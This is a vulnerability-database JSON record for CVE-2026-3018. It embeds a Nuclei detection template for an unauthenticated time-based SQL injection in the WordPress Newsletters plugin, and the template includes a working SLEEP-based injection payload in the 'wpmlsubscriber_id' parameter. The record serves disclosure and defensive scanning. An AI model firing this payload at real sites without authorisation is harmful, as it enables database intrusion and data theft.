{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-3018/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-3018/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-3018/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-3018/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-3018/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-3018"},"sightings":{"href":"/api/v1/sightings/cve-2026-3018"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-3018.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-3018\n\ninfo:\n  name: WordPress Newsletters <= 4.13 - Unauthenticated SQL Injection\n  author: pussycat0x\n  severity: high\n  description: |\n    Newsletters WordPress plugin <= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.\n  impact: |\n    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.\n  remediation: Update to the latest version beyond 4.13.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/newsletters-lite/newsletters-413-unauthenticated-sql-injection\n    - https://plugins.trac.wordpress.org/changeset/3566485/newsletters-lite\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-3018\n    epss-score: 0.01382\n    epss-percentile: 0.72251\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: tribulant\n    product: newsletters\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/newsletters-lite/\"\n  tags: cve,cve2026,sqli,wp,wp-plugin,newsletters-lite,time-based-sqli,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Newsletters\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        internal: true\n        group: 1\n        regex:\n          - '(?i)Stable\\s*tag:\\s*(\\d+\\.\\d+(?:\\.\\d+)?)'\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /newsletter-management/?method=unsubscribe&wpmlsubscriber_id=1'+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn)+AND+'1'='1&authkey=x&wpmlmailinglist_id=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'status_code == 200'\n          - 'contains(body, \"wp-content\") || contains(body, \"wordpress\") || contains(body, \"newsletter\")'\n        condition: and\n# digest: 4a0a00473045022100d4c575729dd2b30dd4ce9df2f2cd26f0b87dc64b857e1fe2804cd6fd4db0819702205f794bf612ff1d1e4690a8d918911a5afb67b08069d405fb940404c038c95d47:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-3018"}